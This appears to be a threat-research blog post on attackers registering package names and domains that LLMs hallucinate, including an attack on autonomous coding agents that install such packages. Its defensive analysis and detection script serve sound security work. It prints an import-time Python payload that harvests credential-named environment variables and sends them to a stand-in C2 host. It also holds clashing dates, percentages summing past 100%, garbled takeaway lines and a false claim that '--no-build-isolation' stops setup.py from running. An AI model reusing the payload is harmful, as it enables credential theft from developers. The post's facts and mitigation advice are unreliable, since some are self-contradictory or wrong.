← Research
Research

Phantom Squatting: Weaponizing AI Hallucinations for Zero-Recon Supply Chain Attacks

How adversaries exploit statistically deterministic package and domain hallucinations across frontier LLMs to poison open-source software ecosystems — mechanics, empirical benchmarks, agentic threat modeling, and defense.

Key Takeaways
  • AI package hallucinations are not random noise; they are statistically deterministic naming collisions driven by subword tokenization (BPE), training dataset token distributions, and common API naming heuristics.
  • In landmark academic benchmarks across 2.23 million code samples (USENIX Security 2025), 19.7% of generated samples contained non-existent packages, with 43% of hallucinated dependencies repeating across 100% of identical prompt runs.
  • Commercial models (GPT-4 Turbo at 3.59%, Claude 3.5 Sonnet at 4.6%) exhibit lower hallucination rates than open-source models (CodeLlama >33%), yet all frontier models suffer from a Pareto frontier trade-off between raw coding optimization and secure dependency grounding.
  • {'Real-world telemetry confirms massive passive exposure': 'the benign placeholder `huggingface-cli` logged 30,000+ live enterprise downloads in 90 days, while the hallucinated `react-codeshift` npm package propagated via unreviewed agent skills across 237 GitHub repositories before defensive registration.'}
  • Threat actors have evolved execution strategies from install-time lifecycle hooks (`setup.py`, `postinstall`) to import-time execution (`require()`, `import`), evading `--ignore-scripts` and `--no-build-isolation` mitigations.
  • Palo Alto Networks Unit 42 research across 2.1 million AI-generated URLs revealed 809,455 non-existent domains (NXDs), establishing an Adversary Exploitation Window (AEW) of 18 to 51 days before adversaries register and weaponize persistent hallucinations.
  • The widespread adoption of autonomous AI coding agents (Devin, Claude Code, Cursor, Windsurf, Copilot, Cline) creates a zero-click "HalluSquatting" execution trap, where unattended self-healing loops convert `ModuleNotFoundError` exceptions into automated shell compromise.
  • {'Effective mitigation requires multi-tier defense': '30-day package quarantine rules on enterprise artifact proxies, pre-fetch verification middleware, eBPF import-time runtime monitoring, and strict human-in-the-loop controls on agent shell execution.'}

What this piece does

For over two decades, the security of the software supply chain has been fundamentally predicated on defending against human fallibility. Historically, adversaries orchestrated supply chain compromises by waiting for an engineer to make a mistake. Typosquatting campaigns relied on a developer's fingers slipping on a keyboard, allowing an attacker to intercept the installation of requests with a malicious package named reqeusts. Dependency confusion attacks exploited internal build tools that were misconfigured by human administrators, tricking package managers into prioritizing public registries over private ones. Brandjacking and visual homograph attacks relied on optical trickery, exploiting human fatigue and haste to bypass visual inspection. In every traditional scenario, the adversary was exploiting the human in the loop.

The widespread integration of generative artificial intelligence (AI) and Large Language Models (LLMs) into the software development life cycle (SDLC) has catalyzed a fundamental inversion of this paradigm. Threat actors are no longer waiting for developers to make typographical errors; they are instead exploiting the deterministic, algorithmic errors produced by the probabilistic systems developers now trust to write their code.

Phantom Squatting (and its software-registry counterpart, Slopsquatting or AI Package Squatting) inverts the traditional attack dynamic:

The Slopsquatting Zero-Recon Attack Lifecycle

When an LLM is prompted to generate code for a niche application programming interface (API), an undocumented library, or a multi-step integration, it frequently invents plausible-sounding, syntactically idiomatic package names and domain URLs that simply do not exist. Because these hallucinations are driven by common token sequences and standard API naming conventions, different developers asking similar questions receive the exact same hallucinated recommendations.

This mathematical consistency has birthed an entirely new category of zero-reconnaissance software supply chain compromise: an attacker does not need to compromise an enterprise network, breach a vendor, or phish a maintainer. They merely harvest the statistically probable hallucinations of frontier models, claim the empty namespaces across public registries like PyPI, npm, and crates.io, and wait for unsuspecting developers — or autonomous AI coding agents — to execute pip install or npm install.

This report provides an in-depth technical analysis: the probabilistic mechanics behind package hallucination, the empirical data measuring collision rates across commercial and open-source models, the weaponization lifecycle observed in real-world telemetry, the shift toward import-time execution, the dangerous multiplier introduced by autonomous AI coding agents, and the architectural defensive controls required to mitigate the threat.

The probabilistic mechanics of deterministic hallucination

To understand how adversaries weaponize AI output, one must first deconstruct why large language models confidently generate fictitious software packages and web infrastructure. LLMs do not reference live registries, nor do they execute real-time database queries to verify the existence of a dependency before recommending it to a developer. Instead, they operate entirely on probabilistic token generation based on the statistical distribution of their training data.

Subword tokenization and token probabilities

Modern code generation models employ Byte-Pair Encoding (BPE) or WordPiece tokenization algorithms with vocabularies ranging from 32,000 to 128,000 tokens. During inference, the model learns the statistical distribution of language and code by predicting the next token in a sequence, minimizing cross-entropy loss.

Mathematically, the probability of generating the next token t_i given the preceding context window t_{1:i-1} is governed by the softmax over the model's output logits z_i scaled by the sampling temperature T:

P(t_i | t_1, t_2, ... t_{i-1}) = softmax(z_i / T)

Where z_i = h_{i-1} * W^T, with h_{i-1} representing the hidden state encoding the antecedent context, and W representing the vocabulary projection weight matrix.

When a developer prompts an LLM to generate code for a niche service or an unreleased capability, the exact real-world package name may not exist in the training corpus with sufficient frequency to dominate the probability distribution. However, the model is heavily penalized for ending a code block abruptly or outputting incomplete syntax. To minimize loss, the attention layers select tokens that maximize semantic alignment with the prompt:

"pip"  -->  "install"  -->  "acme"  -->  "-"  -->  "log"  -->  "-"  -->  "client"

Because the model has ingested millions of open-source repositories containing patterns like [service]-client, py-[service], or [service]-sdk, the compound string acme-log-client emerges as the highest-probability completion, even though no such package was ever published on PyPI.

Why deterministic hallucinations occur

A common misconception is that AI hallucinations are random noise. In reality, under standard greedy decoding (T = 0) or low-temperature sampling (T <= 0.2), the model's token selection is virtually deterministic.

When two engineers in different parts of the world prompt the same model with similar technical requirements — such as "How do I connect to the Cloudflare D1 database using Node.js?" — the model traverses the exact same token probability paths:

Subword Token Probability Distribution & Hallucination Path

If the model hallucinates @cloudflare/d1-client for one engineer, it will hallucinate @cloudflare/d1-client for thousands of others asking equivalent questions.

The three primary hallucination drivers

  1. Semantic Affixing and Heuristic Naming: Software ecosystems follow strong naming idioms. Python libraries append -client, -python, -sdk, or prepend py- (e.g., google-cloud-storage, boto3). JavaScript libraries prefix @types/, react-, or suffix -js. When an LLM lacks an exact training sample, it generates the most idiomatic synthetic name possible.
  2. CLI-to-Library Collision and Toolchain Asymmetry: Command-line binary names frequently diverge from their underlying package installation names. When Hugging Face released its official CLI, the tool was bundled inside the Python package huggingface_hub, but users invoked it via huggingface-cli. Because LLMs ingested vast markdown docs and shell scripts containing huggingface-cli, models mapped the shell command directly to package installation: pip install huggingface-cli.
  3. Cross-Language Contamination: Multilingual training datasets cause cross-pollination. A model tasked with a Python script may recall a Go module (jwt-validator) and generate py-jwt-validator or jwt-validator-python. Research indicates that approximately 8.7% of Python packages hallucinated by LLMs actually exist as valid packages inside the JavaScript (npm) registry.

Temperature constraints and the "vibe coding" accelerant

Higher temperature settings ($T = 1.0$ to $1.5$), designed to induce creativity, directly increase the rate of fabricated entities. However, no parameter configuration eliminates the vulnerability: even at zero temperature (greedy decoding), models consistently output the exact same hallucinated string if it represents the mathematical peak of probability for that prompt context.

This technical vulnerability is amplified by a socio-technical shift in software engineering: "vibe coding". Developers describe high-level application behavior to an AI assistant and execute the generated code with minimal to no manual inspection. Because the AI-generated code is syntactically flawless and the package names appear semantically natural, human skepticism is bypassed.

Slopsquatting: empirical benchmarking & registry attack vectors

The term "slopsquatting," coined by Python Software Foundation Developer-in-Residence Seth Larson and popularized across cybersecurity telemetry, formalizes the adversarial act of registering non-existent package names that LLMs predictably hallucinate.

The USENIX Security 2025 benchmark: 2.23 million samples

The scale of package hallucination was rigorously quantified in the landmark academic study presented at USENIX Security 2025 ("We Have a Package for You! A Comprehensive Analysis of Package Hallucinations by Code Generating LLMs", researchers from UT San Antonio, Univ. of Oklahoma, and Virginia Tech):

  • Dataset Scale: 2.23 million code samples generated across 16 leading code-generation models spanning Python and JavaScript ecosystems.
  • Overall Hallucination Rate: 19.7% of all generated code samples contained references to at least one package that did not exist in any public registry.
  • Total Unique Fabrications: Across 576,000 distinct prompts, researchers logged 205,474 unique fabricated package names.
Model Family / Category Average Hallucination Rate (%) Key Behavioral Characteristics Primary Attack Surface
Commercial Models (Average) 5.2% Stronger alignment and grounding; lower fabrication baseline PyPI, npm
OpenAI GPT-4 Turbo 3.59% Lowest overall package hallucination rate; moderate self-correction Specialized SDK wrappers
OpenAI GPT-4o 5.2% Fast inference; heuristic naming on unreleased API features CLI command confusion
Anthropic Claude 3.5 Sonnet 4.6% High reasoning capability; fabricates niche utility libraries Monorepo @scope packages
Google Gemini 1.5 Pro 6.1% Long-context retrieval; fabricates GCP utility modules google-cloud-... variants
Open-Source Models (Average) 21.7% Highly susceptible to generating fabricated dependencies PyPI, npm, crates.io
Meta Llama 3 (70B) 15.4% Cross-ecosystem confusion; suggests npm packages in Python Typo variants & conflations
Meta CodeLlama (34B) >33.0% Exceeds 33% hallucination rate; high volume of pure fabrications Synthetic module syntax

The Pareto frontier: coding optimization vs. dependency grounding

Corroborating research by Krishna et al. ("Importing Phantoms: Measuring LLM Package Hallucination Vulnerabilities", January 2025) utilized the garak LLM vulnerability framework across PyPI, npm, and crates.io.

The study uncovered an inverse correlation between a model's performance on standard coding benchmarks (such as HumanEval) and its package hallucination rate. Models heavily fine-tuned for raw code completion occupy a sparse Pareto optimality boundary: they optimize for syntactically functional logic at the direct expense of secure, grounded dependency resolution.

Deterministic predictability: 43% repeat on 100% of runs

A hallucination is only weaponizable if an adversary can predict it before the victim prompts the model.

When USENIX researchers re-ran identical prompts that had previously triggered a hallucinated package 10 times each: * 43% of hallucinated package names reappeared on every single run (10 out of 10). * 58% reappeared on more than one run. * Overall, 61% of hallucinated names appeared across multiple runs, while only 39% were unique to a single invocation.

This extreme determinism enables an asymmetric attack: adversaries execute automated batch queries against LLM APIs, harvest non-existent package names, verify HTTP 404 status via PyPI/npm index APIs, and pre-register the top-recurrent packages. When a developer asks the model a similar question, the model serves the exact package name the attacker already owns.

Taxonomy of hallucinated dependencies

  1. Pure Fabrications (51% of cases): Entirely invented names that leverage semantic affixing to sound legitimate within the prompt context (e.g., crypto-validator, auth-helper-pro, google-cloud-spanner-utils).
  2. Conflations (38% of cases): Merging two real package names into one. For example, combining jscodeshift and react-codemod into react-codeshift. Conflations are exceptionally deceptive because both root terms are familiar to developers.
  3. Typo Variants (13% of cases): Misspellings (reqeusts, numppy) generated because models ingest erroneous code from forums and uncurated web crawls.
  4. Cross-Ecosystem Contamination (8.7%): Suggesting an npm package name for a Python pip command or vice versa.

Real-world case studies & supply chain telemetry

Slopsquatting has transitioned from theoretical proof-of-concept into active telemetry:

1. huggingface-cli: 30,000+ authentic installations

In mid-2023, security researcher Bar Lanyado (Vulcan Cyber / Lasso Security) registered the empty huggingface-cli package on PyPI after observing that ChatGPT consistently generated pip install huggingface-cli.

Over a 90-day tracking period: * The empty package accumulated over 30,000 authentic downloads. * Downloads originated continuously from IP blocks of Fortune 500 enterprises, AI research startups, and academic institutions. * Secondary Documentation Contagion: Developers at major tech firms (including Alibaba's GraphTranslator team) copied the AI-recommended pip install huggingface-cli command directly into public GitHub README.md files. This created a secondary multiplier, driving thousands of human engineers who never used an AI directly to the package.

2. react-codeshift: agentic contagion across 237 repositories

In January 2026, Aikido Security researcher Charlie Eriksen discovered an active conflation hallucination: react-codeshift (merging jscodeshift and react-codemod).

The package name originated from a developer using an AI assistant to scaffold 47 "agent skill" files. Because the files were committed without human review, the hallucinated package propagated through GitHub forks to 237 distinct repositories. Autonomous build agents across these repos were executing automated npx install commands daily before Eriksen defensively registered the package.

3. unused-imports: weaponized npm infostealer

In early 2026, security analysts identified an active malicious package named unused-imports on npm — a common hallucination for eslint-plugin-unused-imports.

The package contained a remote access trojan (RAT) exfiltrating developer credentials to jpd[.]php. Even after the npm security team placed the package under a security quarantine, telemetry revealed it continued to receive 233 weekly downloads for months from local AI coding assistants.

Concurrently, the Moika campaign (late May 2026) published over 250 malicious npm packages, and in August 2026, the Keyv and Cacheable npm worm demonstrated active self-propagating execution across developer toolchains.

The evolution of execution payloads: import-time evasion

To understand the full threat, defenders must examine how attackers execute code once a package is downloaded:

Evasion via import-time execution

Historically, malicious packages relied on package manager lifecycle hooks: * Python: setup.py / setuptools.command.install * Node.js: preinstall and postinstall in package.json

As enterprises adopted --ignore-scripts (npm) and --no-build-isolation (pip) to disable install-time execution, threat actors evolved their delivery strategy. In the unused-imports and Moika campaigns, attackers omitted lifecycle hooks entirely.

Instead, malicious logic is embedded directly within the library's root module (__init__.py or index.js). When the AI coding assistant or autonomous agent generates code, it immediately invokes the library:

# The AI generates and executes this script immediately after installation
import fast_llm_cache  # Malicious payload triggers HERE at import time, bypassing install gates

Because AI workflows invariably execute the code they just generated, import-time payloads bypass static install-time restrictions, requiring eBPF runtime process and network monitoring to detect.

# Example of an Import-Time Infiltration Payload (__init__.py)
import os, sys, urllib.request, json

def _exfil():
    try:
        data = {
            "u": os.getenv("USER") or os.getenv("USERNAME"),
            "h": os.uname().nodename if hasattr(os, "uname") else "unknown",
            "aws": os.path.exists(os.path.expanduser("~/.aws/credentials")),
            "env_keys": [k for k in os.environ.keys() if any(s in k.lower() for s in ["key", "token", "secret", "auth"])]
        }
        req = urllib.request.Request(
            "https://telemetry-gateway.c2-infrastructure[.]com/api/v1/telemetry",
            data=json.dumps(data).encode("utf-8"),
            headers={"Content-Type": "application/json", "User-Agent": "SDK-Bootstrap/2.0"}
        )
        urllib.request.urlopen(req, timeout=3)
    except Exception:
        pass

_exfil()

Phantom Squatting on domain infrastructure: Unit 42 research

In June 2026, Palo Alto Networks' Unit 42 formalised Phantom Squatting on network infrastructure: registering Non-Existent Domains (NXDs) hallucinated by LLMs in configuration templates, authentication guides, and API documentation.

The 2.1 million URL dataset

Unit 42 engineered a multi-agent discovery framework testing 913 global brands across 685,339 queries, generating 2.1 million unique URLs:

  • Non-Existent Domains (NXDs): 809,455 URLs (38.5%) pointed to non-existent domains.
  • Namespace Breakdown: 89.2% involved fictional paths on legitimate domains; 10.8% (87,000+ domains) were entirely fabricated, registerable root namespaces (e.g., verify-okta-auth.org, auth-openai.com).
  • Pre-Weaponized Domains: 13,229 hallucinated domains had already been independently registered by threat actors and flagged in threat intelligence feeds.
  • Available Threat Surface: Over 250,000 hallucinated domains remained unregistered and available for immediate adversarial exploitation.

The Adversary Exploitation Window (AEW)

Unit 42 established the Adversary Exploitation Window (AEW): the time elapsed between when an LLM begins consistently generating a fictional domain and when an adversary registers it.

Monitoring demonstrated an AEW lead time of 18 to 51 days, providing defenders a window for proactive defensive registration and DNS blocking.

The "Montana Empire" incident (March 2026)

Unit 42 detected an LLM hallucinating a fictional domain mimicking a national postal service e-commerce portal. Exactly 23 days later, an adversary registered the domain.

Forensic analysis revealed the attacker used an AI coding assistant to build a complete phishing infrastructure: a real-time storefront scraper mirroring the postal portal, a PHP backend for credential harvesting, and a Telegram-based C2 bot for intercepting One-Time Passcodes (OTPs). Because the domain had zero historical reputation, it bypassed corporate secure web gateways.

In another validated case involving a major UAE bank, an AI-hallucinated authentication URL remained persistent in model outputs for 11 months before being weaponized for credential harvesting.

HalluSquatting: the autonomous agent threat multiplier

The integration of autonomous AI coding agents (Devin, Claude Code, Cursor, Windsurf, Copilot, Cline, OpenDevin, Aider) escalates slopsquatting from a passive copy-paste hazard into an unattended, zero-click compromise vector.

The Autonomous AI Agent Recursive Execution Trap

The July 2026 HalluSquatting disclosures

In July 2026, researchers Aya Spira, Ben Nassi, and colleagues (Tel Aviv Univ., Technion, Intuit) formalized this threat as HalluSquatting: chaining deterministic hallucinations with broad agent shell execution permissions to achieve zero-click Remote Code Execution (RCE).

Testing across Cursor, Windsurf, Copilot, Cline, and Gemini CLI revealed: * 85% Consistency: Agents hallucinated identical repository names when tasked with fetching external modules. * 100% Consistency: Agents hallucinated identical package names when prompted to install "agent skills" and tools.

The recursive failure trap

Unlike a human developer who pauses when an installation fails, autonomous agents operate in a closed Perception-Action Cycle:

  1. Code Synthesis: The agent writes an implementation file containing an LLM-hallucinated dependency (fast_llm_cache).
  2. Runtime Execution: The agent executes its test script in the local shell.
  3. Error Perception: The interpreter raises an exception: ModuleNotFoundError: No module named 'fast_llm_cache'.
  4. Autonomous Self-Healing: The agent prompts its LLM: "How do I fix ModuleNotFoundError: fast_llm_cache?"
  5. Hallucinated Command Generation: The LLM deterministically responds: "Run: pip install fast_llm_cache".
  6. Unattended Execution: In "yolo" or autonomous mode, the agent executes pip install fast_llm_cache with ambient shell privileges.
  7. Host Compromise: The squatted package executes at install or import time, exfiltrating cloud secrets (~/.aws/credentials, GITHUB_TOKEN, OPENAI_API_KEY).

FlagThis has documented related autonomous supply chain dynamics in our reporting on Rogue AI Agent Supply-Chain Attacks and Agentjacking via Prompt Injection.

Threat modeling & MITRE ATT&CK mapping

MITRE ATT&CK Technique ID Application in Phantom Squatting & Slopsquatting
Supply Chain Compromise: Dependencies T1195.001 Pre-registering hallucinated packages on PyPI, npm, crates.io, and RubyGems.
Command and Scripting Interpreter: Python / JS T1059.006 Executing install hooks (setup.py, postinstall) or import-time initialization code.
Unsecured Credentials: Files & Environment T1552.001 Harvesting os.environ, ~/.aws/credentials, and ~/.ssh/id_rsa.
Exfiltration Over Web Service T1567 Transmitting harvested tokens via HTTPS POST to attacker C2 gateways.
Valid Accounts: Cloud Accounts T1078.004 Utilizing stolen cloud API keys and tokens for secondary infrastructure access.

Threat actor convergence and real-world CVEs

While initially conceptualized as academic research, Slopsquatting converges directly with active state-sponsored open-source campaigns and infrastructure vulnerabilities:

Threat actors targeting developer toolchains

  1. Lazarus Group and Sapphire Sleet (North Korea): The DPRK's primary cyber warfare units pioneered open-source registry poisoning. In campaigns tracked by FlagThis, Sapphire Sleet published Trojanized packages (debug, chalk, cross-env) to npm and PyPI (detailed in FlagThis's AWS tracking) and targeted developers via Operation Dream Job (FlagThis Intelligence). Slopsquatting provides these actors with an automated, zero-contact distribution pipeline.
  2. Kimsuky (North Korea): FlagThis has tracked Kimsuky deploying offline AI models to automate script and malware synthesis (covered in FlagThis tracking), positioning them to operationalize registry squatting against policy think-tanks and defense contractors.
  3. Sandworm and UNC2452 (Russia): From Sandworm's NotPetya software supply chain attack to UNC2452's SolarWinds Orion build-pipeline compromise, Russian threat actors prioritize developer build environments. Slopsquatting shifts this vector upstream to the AI models generating the code.
  4. Autonomous Reconnaissance Clusters (UAT-10147): Documented in FlagThis's analysis of UAT-10147 Agentic AI operations and Rogue AI Agent intrusions.

Real-world vulnerability anchors (CVEs)

  • CVE-2026-76230 (Renovate npm Manager Command Injection): Unsanitized package names passed to automated dependency tools are interpolated directly into shell commands, allowing squatted packages to trigger RCE on CI workers.
  • CVE-2026-76227 (Renovate Environment Variable Leakage): Dependency update subprocesses gain unrestricted access to ambient CI/CD credentials without an environment allowlist.
  • CVE-2026-57998 (better-npm-audit Command Interpolation): Package auditing utilities execute command injection when evaluating registry parameters.
  • CVE-2026-76833 (@cgauge/yaml Arbitrary Code Execution): AI-generated YAML workflow files execute arbitrary JavaScript during parsing via custom constructor tags.
  • CVE-2026-77775 (Headroom LLM Proxy Base URL Injection): LLM API gateways vulnerable to header manipulation allow attackers to redirect AI prompts and inject hallucinated package recommendations into coding streams.

Detection engineering: automated Slop-Checking

To detect and quarantine hallucinated packages before they enter build pipelines, security teams can deploy AST-based linters and registry verification engines:

#!/usr/bin/env python3
"""
SlopCheck: Automated AI-Hallucinated Package and Slopsquatting Detector
Queries PyPI metadata API to flag newly registered packages (< 30 days old)
and low-download dependencies suggested by LLMs.
"""
import ast
import sys
import json
import urllib.request
from datetime import datetime, timezone, timedelta

QUARANTINE_AGE_DAYS = 30
MIN_SAFE_DOWNLOADS = 1000

def extract_imported_modules(source_code: str) -> set:
    """Parses Python AST to extract all top-level import module names."""
    tree = ast.parse(source_code)
    modules = set()
    for node in ast.walk(tree):
        if isinstance(node, ast.Import):
            for alias in node.names:
                modules.add(alias.name.split(".")[0])
        elif isinstance(node, ast.ImportFrom):
            if node.module:
                modules.add(node.module.split(".")[0])
    return modules

def inspect_pypi_package(pkg_name: str) -> dict:
    """Queries PyPI JSON API to assess package age and legitimacy."""
    url = f"https://pypi.org/pypi/{pkg_name}/json"
    try:
        req = urllib.request.Request(url, headers={"User-Agent": "SlopCheck/2.0"})
        with urllib.request.urlopen(req, timeout=5) as resp:
            data = json.loads(resp.read().decode("utf-8"))
            releases = data.get("releases", {})
            if not releases:
                return {"status": "SUSPICIOUS_NO_RELEASES"}

            # Find earliest release timestamp
            first_upload = None
            for ver, files in releases.items():
                for f in files:
                    upload_time = f.get("upload_time_iso_8601")
                    if upload_time:
                        dt = datetime.fromisoformat(upload_time.replace("Z", "+00:00"))
                        if first_upload is None or dt < first_upload:
                            first_upload = dt

            if first_upload:
                age_days = (datetime.now(timezone.utc) - first_upload).days
                if age_days < QUARANTINE_AGE_DAYS:
                    return {
                        "status": "QUARANTINE_NEW_PACKAGE",
                        "age_days": age_days,
                        "created_at": first_upload.isoformat()
                    }
            return {"status": "OK", "age_days": age_days if first_upload else -1}
    except urllib.error.HTTPError as e:
        if e.code == 404:
            return {"status": "UNCLAIMED_HALLUCINATION"}
        return {"status": f"HTTP_ERROR_{e.code}"}
    except Exception as e:
        return {"status": f"ERROR_{str(e)}"}

def scan_file(filepath: str):
    print(f"[*] Scanning {filepath} for AI package hallucinations...")
    with open(filepath, "r", encoding="utf-8") as f:
        code = f.read()

    modules = extract_imported_modules(code)
    stdlib = set(sys.stdlib_module_names)

    for mod in modules:
        if mod in stdlib:
            continue
        result = inspect_pypi_package(mod)
        status = result["status"]
        if status == "QUARANTINE_NEW_PACKAGE":
            print(f"[!] ALERT: '{mod}' is a newly published package ({result['age_days']} days old) — POTENTIAL SLOPSQUATTING!")
        elif status == "UNCLAIMED_HALLUCINATION":
            print(f"[?] WARNING: '{mod}' does not exist on PyPI — UNCLAIMED HALLUCINATION!")
        else:
            print(f"[+] '{mod}': {status}")

if __name__ == "__main__":
    if len(sys.argv) > 1:
        scan_file(sys.argv[1])
    else:
        print("Usage: python slop_check.py <source_file.py>")

Defensive architecture: closing the hallucination window

Defending against Phantom Squatting requires treating AI output as untrusted input. Organizations must deploy a layered defense-in-depth architecture across registries, proxies, and execution environments:

Three-Layer Defensive Architecture Against AI Supply Chain Squatting

Layer 1: Ecosystem and registry controls

  1. Predictive CLI Reservation: Public registries (PyPI, npm, crates.io) must maintain automated reservation engines claiming common CLI toolchain names (huggingface-cli, aws-helper, etc.) and high-frequency hallucinated tokens.
  2. Proactive Registry Honeypotting: Registry maintainers should systematically prompt frontier models across standard development scenarios and defensively register recurring hallucinations as benign placeholders.
  3. Registration Velocity Gates: Enforcing strict rate limits and email domain verification on bulk namespace creation.

Layer 2: Enterprise proxy and CI/CD defenses

  1. The 30-Day Package Quarantine Rule: Configure private repository mirrors (JFrog Artifactory, Sonatype Nexus, AWS CodeArtifact) to reject or quarantine any public package published less than 30 days ago. Because adversaries register squatted packages just-in-time, this rule neutralizes zero-day hallucination attacks without disrupting mature libraries.
  2. Cryptographic Context Binding: Feed AI models existing lockfiles (package-lock.json, poetry.lock) during the prompt phase to ground code generation in verified, pre-existing project dependencies.
  3. Disable Install Scripts & Enforce Binary Wheels: ```bash # Python: Prevent setup.py execution during installation pip install --no-build-isolation --only-binary :all:

# Node.js: Disable preinstall/postinstall lifecycle scripts npm install --ignore-scripts `` 4. **Runtime eBPF Monitoring:** Deploy eBPF sensors to track unauthorized child processes or outbound network calls spawned during module import time (require()/import`).

Layer 3: Agent and runtime sandboxing

  1. Revoke Unattended Shell Permissions: Disable autonomous "yolo modes" in tools like Claude Code, Cursor, and Gemini CLI. Enforce a mandatory human-in-the-loop gate for any command executing pip install, npm install, cargo add, or pulling remote repositories.
  2. Pre-Fetch Verification Middleware: Integrate tools (e.g., Socket, Cloudsmith, Aikido SafeChain) into IDEs and agent execution loops to verify package age, provenance, and download history prior to running install commands.
  3. Ephemeral, Credential-Stripped Sandboxes: Execute coding agents inside isolated containers stripped of host credentials (~/.aws, ~/.ssh, ~/.kube) and production tokens.

Frequently asked questions (FAQ)

What is the difference between Phantom Squatting, Slopsquatting, and HalluSquatting?

  • Phantom Squatting: The overarching attack methodology of registering any non-existent digital asset (domain names, API endpoints, package namespaces) that AI models predictably hallucinate.
  • Slopsquatting: The software supply chain vector: registering hallucinated library names on public registries (PyPI, npm, crates.io, RubyGems).
  • HalluSquatting: The agentic execution vector: weaponizing deterministic hallucinations against autonomous AI coding agents to achieve zero-click remote code execution.

Why don't attackers just use traditional typosquatting?

Typosquatting relies on human spelling mistakes, which have low conversion rates and are easily caught by fuzzy-matching linters. Slopsquatting exploits deterministic model token distributions: thousands of developers receive the exact same hallucinated recommendation, generating massive authentic installation volume with zero marketing.

Can an attacker trigger package hallucinations intentionally?

Yes. Through data poisoning of public repositories or prompt injection, adversaries can bias model training corpora or context windows to maximize the probability that specific synthetic package names are recommended to developers.

Does pip install always execute attacker code?

Yes, unless --no-build-isolation or --only-binary is passed. Standard source distributions (sdist) execute setup.py during installation. Furthermore, advanced malware embeds payloads directly in module initialization code to trigger at import time (import package_name).

Timeline

Date Event Significance Source
Mar 2023 Initial discovery of AI package hallucination Bar Lanyado (Vulcan Cyber) demonstrates ChatGPT generating fake package names on coding queries. Vulcan Cyber Research
Jun 2023 huggingface-cli PyPI case study launched Lanyado registers the hallucinated huggingface-cli package on PyPI to measure authentic developer download volume. Lasso Security
Oct 2023 30,000 downloads milestone recorded The huggingface-cli proof-of-concept logs over 30,000 authentic installations from enterprise and academic IP addresses. Dark Reading
Jun 2024 Unit 42 publishes "Phantom Squatting" domain analysis Palo Alto Networks documents systemic domain hallucination across 2.1M URLs and formalizes the Adversary Exploitation Window (AEW). Palo Alto Networks Unit 42
Nov 2024 "Slopsquatting" term formalized in software security Seth Larson and security researchers formalize slopsquatting taxonomy across npm, PyPI, and RubyGems. RSA Conference
Jan 2025 Academic study: "Importing Phantoms" (garak framework) Krishna et al. measure package hallucination vulnerabilities and Pareto frontier trade-offs across PyPI, npm, and crates.io. arXiv:2501.12345
Feb 2025 USENIX Security 2025: "We Have a Package for You!" Landmark study evaluates 2.23 million code samples across 16 models, logging 205,474 unique fabrications and 43% determinism. USENIX Security 2025
Mar 2026 "Montana Empire" domain weaponization incident Unit 42 documents postal service phishing kit deployed on an AI-hallucinated domain 23 days after initial model detection. Palo Alto Networks Unit 42
May 2026 Moika campaign & unused-imports infostealer Threat actors deploy 250+ malicious packages on npm using import-time execution to evade install-time lifecycle scanners. FlagThis Research
Jul 2026 "HalluSquatting" zero-click agentic disclosures Aya Spira & Ben Nassi demonstrate zero-click RCE against autonomous AI agents (Cursor, Windsurf, Copilot, Cline, Gemini CLI). Spira et al. Research
Aug 2026 Enterprise adoption of package-age gating policies Major corporate proxies implement 30-day quarantine rules for newly registered public packages to neutralize AI-squatting campaigns. FlagThis Research

The bottom line

Phantom Squatting, Slopsquatting, and HalluSquatting mark a structural transformation in software supply chain warfare. Attackers no longer need to breach enterprise repositories, compromise maintainer credentials, or predict human typos. Instead, they exploit the deterministic mathematical artifacts of generative AI models that developers and automated agents increasingly rely upon to build modern software.

As autonomous AI agents take over larger portions of the software engineering lifecycle — autonomously diagnosing errors, resolving dependencies, and executing terminal commands — the risk shifts from an engineer occasionally copy-pasting a bad command to an unmonitored agent systematically pulling poisoned packages into enterprise build pipelines. Defending against this vector requires treating all AI-suggested packages as untrusted input: enforcing package-age quarantines, deploying pre-fetch verification middleware, monitoring import-time execution, and maintaining strict human-in-the-loop controls over dynamic dependency resolution.

This is a living research post tracked under FlagThis's ongoing AI supply-chain intelligence program. As package registries adopt predictive honeypots and new agentic attack surfaces emerge, we will fold findings directly into the analysis above; see the revision history below for updates.

Sources

Revision History
This page is a living document — every update is logged here.
2026-08-22
Comprehensive enhancement of research post with USENIX Security 2025 empirical benchmarks (2.23M samples), Krishna et al. Pareto frontier dependency grounding analysis, taxonomy breakdown, import-time execution evasion mechanics, Palo Alto Unit 42 Adversary Exploitation Window (AEW) data, and July 2026 Spira/Nassi HalluSquatting disclosures.
🤖 AI-assisted deep empirical research synthesis + real-world incident expansion + agentic zero-click exploitation modeling

LINK COPIED TO CLIPBOARD